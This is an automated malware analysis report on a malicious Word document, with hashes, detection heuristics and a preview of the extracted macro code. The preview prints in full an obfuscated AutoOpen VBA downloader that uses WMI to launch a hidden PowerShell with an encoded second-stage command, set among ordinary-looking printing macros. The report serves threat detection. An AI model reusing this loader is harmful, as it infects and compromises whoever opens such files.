Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eef4b50a6a9a4371…

MALICIOUS

Office (OLE)

97.5 KB Created: 2020-07-31 11:02:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 5d38f68c18e3d9557523b25ad3fe4a86 SHA-1: a2c736b4bb06131dbb828c79711a1c7ec729d501 SHA-256: eef4b50a6a9a4371bc70b9b79d033053f0419c8c216118a6b5046117e4d6e272
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing an obfuscated VBA macro with an AutoOpen subroutine. This macro attempts to download and execute a second-stage payload by leveraging GetObject to interact with WMI and potentially execute code. The obfuscation and the use of GetObject for execution are strong indicators of a downloader or droppper functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-9206713-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9206713-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6557 bytes
SHA-256: ab967677ec2d51ba9d05580e5666804e633f65300de37f3f9d6b86f9418b693a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()

Dim strFileExists As String
strFileExists = Dir("C:\" + "\aa" + "a_T" + "ouch" + "Me" + "N" + "ot_.txt")
If strFileExists <> "" Then
       End
End If

Set Ieraj = GetObject("winmgmts:").Get("Win32_PingS" + "tatus.Address='Keila" + "kne.micro" + "soft.com',ResolveAddr" + "essNames=True")
With Ieraj
    If .StatusCode = 45 - 45 Then
            End
        ElseIf .StatusCode > 321 - 321 Then
            End
        End If
End With
DoEvents
Call GetObject(StrReverse("ss" + "ec" + "o" + StrReverse("_Pr") + "23niW" + ":2" + "vmi" + "c\t" + "oor:" + "stm" + "gm" + "n" + "iw")). _
Create(StrReverse("=AQaAsGAzAQMAUDAgAAdAMHApBATAQ" + "HAuBQZA0GA1BwZAIHABBQLA" + "ACA3BQaAcGA0BgdAACAzBwcAUGAjBwbAIHAQ" + "BQLAQHAyBQYAQHATBAIAACA7AQaAsGAzAQMAUDAgAwaAQGAtBQMAYHAgAQZAQGAvBwYAUGAkBQLAACAsBQaAQHA1BAdAIHA" + "lBwYAACA7AgIAAFANBQRAQFA6AgdA4GAlBAJAICAgAAaAQHAhBAUA0CAgAgbA8" + "GApBAdAEGAjBwbAwEAtAAdAUGATBAIAsDAiAQbA8GAjBgLAgGAUBgdAMGAGBgdAEGAVBwRAwFAQBQT" + "AUEAUBgOAYHAuBQZAQCAiAALAICArB" + "AZA0GAxAgdAwFAQBQTAUEAUBgOAYHAuBQZAQCAiAALAICAtBwbAMGAuAwdAkGAnBAdAYHAcBAUA0EAFBAVAoDA2BgbAUGA" + _
"kAgIAACAuBwbAkGA0B" + "QYA4GApBAdAMHAlBAR" + "A0CAgAQbA8GAjBgLAgGAUBgd" + "AMGAGBgdAEGAVBwRA8CAy" + "AAOAEDAuAgMAEDAuAQOAgDAxAgLAUDA" + "4AQMA8CAvAgOAAHA0BAdAgGAsAQ" + "bA8GAjBgLAcHAqBASAsGAVBgVAUFA0BgWAUEA2B" + "gZAYEAvAgMAgDAxAgLAIDAxAgLAkDA4AQMA4CA1" + "AAOAEDAvAwLAoDAwBAdAQHAoBALA0GAvBwYA4CALBQ" + "ZAgEAMBgcA8EADBATAIFAvAgMAgDAxAgLAIDAxAgLAkDA4AQM" + "A4CA1AAOAEDAvAwLAoDAwBAdAQHAoBAIAUGAjBgcAUHAvBwUA0CAgAgcAUGAmBwcA4GAhBgcAQFAzBAdAkGACBQLAQHAyBQYAQHATBAIAsDAyBQZAYGAzBgbAEGAyBAVAMHA0BQaAIEAgAQZAwGA1" + "BAZA8GANBQLAQHAyBwbAAHAtBQS e- ne" + "ddi" + "h ely" + "tswodn" + "iw- l" + StrReverse("hel") + StrReverse("rs") + "e" + "w" + "op"), Null, Null, BehanKe)
End Sub

Sub Print_CoverSheet_Multiselect()

Dim r, i, intRows As Integer
Dim Sht As Worksheet
Dim rngSelection, rngArea, rngRow As Range
Dim Answer As VbMsgBoxResult
Dim arrRows() As Variant

On Error GoTo ErrHandle

Set Sht = ActiveSheet
Set rngSelection = Application.InputBox("Select orders to be printed", "Print Cover Sheet", , , , , , 8)

'Get the total number of rows selected
For Each rngArea In rngSelection.Areas 'Loop through each areas of the selection
    intRows = intRows + rngArea.Rows.Count
Next

'Re define the size of the Array based on rows selected
ReDim arrRows(intRows - 1)

Application.ScreenUpdating = False

For Each rngArea In rngSelection.Areas 'Loop through each areas of the selection
    For Each rngRow In rngArea.Rows 'Loop through each row in an area
        r = rngRow.Row
        arrRows(i) = r
        i = i + 1
        With Sheets(1)
            'Change cell reference as required
            .Range("H5") = Sht.Range("B" & r)
            .Activate
            'Change number of copies as required
            .PrintOut Copies:=3, Collate:=True
        End With
    Next
Next

Application.ScreenUpdating = True

Sht.Activate
Answer = MsgBox("Highlight printed orders as 'Released' ?", vbYesNo, "Printed")
If Answer = vbYes Then
    'Change cell reference as required
    For i = LBound(arrRows) To UBound(arrRows)
        r = arrRows(i)
        Sht.Range("D" & r, "L" & r).Style = "Released"
    Next i
End If


ErrHandle:

If Err.Number <> 424 Then On Error GoTo 0


End Sub

Sub BillofLading()

Dim SapGuiAuto, SapApp, SapCon, Session As Object
Dim intOrder, EndRow, r As Integer
Dim rngCell, rngOrders As Range
Dim msgResult

On Error GoTo ErrHandle

'Get the orders range
EndRow = Range("D150").End(xlUp).Row

If EndRow < 18 Then 'Check if there are any orders in the range
    MsgBox "No Bluestar orders have been found"
    Exit Sub
End If

Set rngOrders = Range(
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.